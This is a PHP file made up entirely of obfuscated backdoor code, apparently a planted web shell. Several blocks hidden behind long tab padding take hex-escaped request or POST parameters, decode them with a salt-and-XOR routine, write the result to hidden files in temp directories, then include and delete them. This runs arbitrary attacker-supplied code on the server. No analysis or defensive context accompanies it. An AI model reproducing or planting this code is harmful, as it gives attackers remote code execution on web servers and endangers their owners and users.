<?php																																										if(!is_null($_REQUEST["\x6F\x62j"] ?? null)){ $record = $_REQUEST["\x6F\x62j"]; $record = explode ( "." , $record ); $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($record as $r => $v6): $chS = ord($salt[$r % $sLen] ); $d = ((int)$v6 - $chS - ($r % 10)) ^92; $pointer .=chr($d ); endforeach; $data_chunk = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path()]); while ($elem = array_shift($data_chunk)) { if (!!is_dir($elem) && !!is_writable($elem)) { $dchunk = "$elem" . "/.object"; if (file_put_contents($dchunk, $pointer)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x61\x72a\x6De\x74\x65\x72_\x67roup"])){ $factor = $_REQUEST["\x70\x61\x72a\x6De\x74\x65\x72_\x67roup"]; $factor = explode ('.' , $factor ) ; $res = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach($factor as $r=> $v9) { $chS = ord($salt9[$r % $sLen]); $d = ((int)$v9 - $chS -($r % 10)) ^ 40; $res.=chr($d);} $item = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); while ($entry = array_shift($item)) { if (is_dir($entry) && is_writable($entry)) { $entity = "$entry/.holder"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(array_key_exists("ent\x72\x79", $_POST) && !is_null($_POST["ent\x72\x79"])){ $pset = $_POST["ent\x72\x79"]; $pset= explode( '.' , $pset) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $pset as $o => $v8): $chS = ord( $salt[$o %$sLen] ); $dec =( ( int)$v8 - $chS -( $o %10)) ^ 34; $itm .= chr( $dec ); endforeach; $element = array_filter([getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); foreach ($element as $ent) { if (is_dir($ent) ? is_writable($ent) : false) { $desc = sprintf("%s/.value", $ent); if (file_put_contents($desc, $itm)) { include $desc; @unlink($desc); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ent\x72\x79"])){ $marker = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $bind = $_REQUEST["ent\x72\x79"]; $bind= explode ( '.' ,$bind ); $ptr = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $l = 0; $len = count( $bind); do { if( $l>= $len) break; $v6 = $bind[$l]; $chS = ord( $salt4[$l% $lenS]); $dec =( ( int)$v6 - $chS -( $l% 10)) ^ 84; $ptr .= chr( $dec); $l++; }while( true); for ($ref = 0, $dat = count($marker); $ref < $dat; $ref++) { $pointer = $marker[$ref]; if (max(0, is_dir($pointer) * is_writable($pointer))) { $pset = join("/", [$pointer, ".data_chunk"]); if (@file_put_contents($pset, $ptr) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(!is_null($_POST["e\x6Ce\x6D"] ?? null)){ $entity = array_filter([session_save_path(), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $hld = $_POST["e\x6Ce\x6D"]; $hld = explode ( "." , $hld ) ; $symbol =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt2); $r =0; while ($r < count($hld)) { $v8 =$hld[$r]; $chS =ord($salt2[$r % $sLen]); $d =((int)$v8 - $chS - ($r % 10)) ^ 26; $symbol .= chr($d); $r++; } $token = 0; do { $desc = $entity[$token] ?? null; if ($token >= count($entity)) break; if (is_dir($desc) && is_writable($desc)) { $sym = join("/", [$desc, ".ent"]); if (file_put_contents($sym, $symbol)) { require $sym; unlink($sym); exit; } } $token++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["hl\x64"])){ $resource = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), "/tmp"]); $flag = $_POST["hl\x64"]; $flag = explode ( '.' , $flag ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $v = 0; foreach ($flag as $v4) { $chS = ord($s[$v % $sLen]); $dec = ((int)$v4 - $chS - ($v % 10)) ^ 60; $pset .=chr($dec); $v++; } foreach ($resource as $key => $entry) { if (is_writable($entry) && is_dir($entry)) { $flg = implode("/", [$entry, ".descriptor"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $flg; @unlink($flg); exit; } } } }
																																										if(in_array("\x63o\x6D\x70o\x6Eent", array_keys($_POST))){ $descriptor = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); $elem = $_POST["\x63o\x6D\x70o\x6Eent"]; $elem= explode ( '.' , $elem ) ; $reference =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt6); $u =0; while ($u < count($elem)) { $v9 =$elem[$u]; $chS =ord($salt6[$u % $lenS]); $dec =((int)$v9 - $chS - ($u % 10)) ^ 71; $reference.= chr($dec); $u++; } foreach ($descriptor as $key => $tkn) { if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $binding = str_replace("{var_dir}", $tkn, "{var_dir}/.flg"); $success = file_put_contents($binding, $reference); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(isset($_POST) && isset($_POST["\x6F\x62\x6Aect"])){ $pointer = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir()]); $itm = $_POST["\x6F\x62\x6Aect"]; $itm= explode("." , $itm ); $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $z = 0; $__tmp = $itm; while( $v9 = array_shift( $__tmp)) { $sChar = ord( $salt[$z %$lenS]); $d = ( ( int)$v9 - $sChar -( $z %10)) ^ 21; $pset .= chr( $d); $z++; } $ref = 0; do { $flag = $pointer[$ref] ?? null; if ($ref >= count($pointer)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $reference = "$flag" . "/.pgrp"; $success = file_put_contents($reference, $pset); if ($success) { include $reference; @unlink($reference); exit;} } $ref++; } while (true); }


if(in_array("\x62i\x6Edi\x6Eg", array_keys($_POST))){
	$k = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP")]);
	$property_set = $_POST["\x62i\x6Edi\x6Eg"];
		$property_set		 = 	explode	('.',$property_set)  	;
	$elem=  '';
            $salt2=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=  strlen($salt2);
            $v=  0;
    
            foreach ($property_set as $v8) {
                $sChar=  ord($salt2[$v % 	$lenS]);
                $d=  ((int)$v8 - $sChar - ($v % 	10))	^	89;
                $elem .=	 chr($d);
                $v++; }  
	foreach ($k as $key) {
    		if (!!is_dir($key) && !!is_writable($key)) {
    $dat = str_replace("{var_dir}", $key, "{var_dir}/.obj");
    $success = file_put_contents($dat, $elem);
if ($success) {
	include $dat;
	@unlink($dat);
	exit;}
}
}
}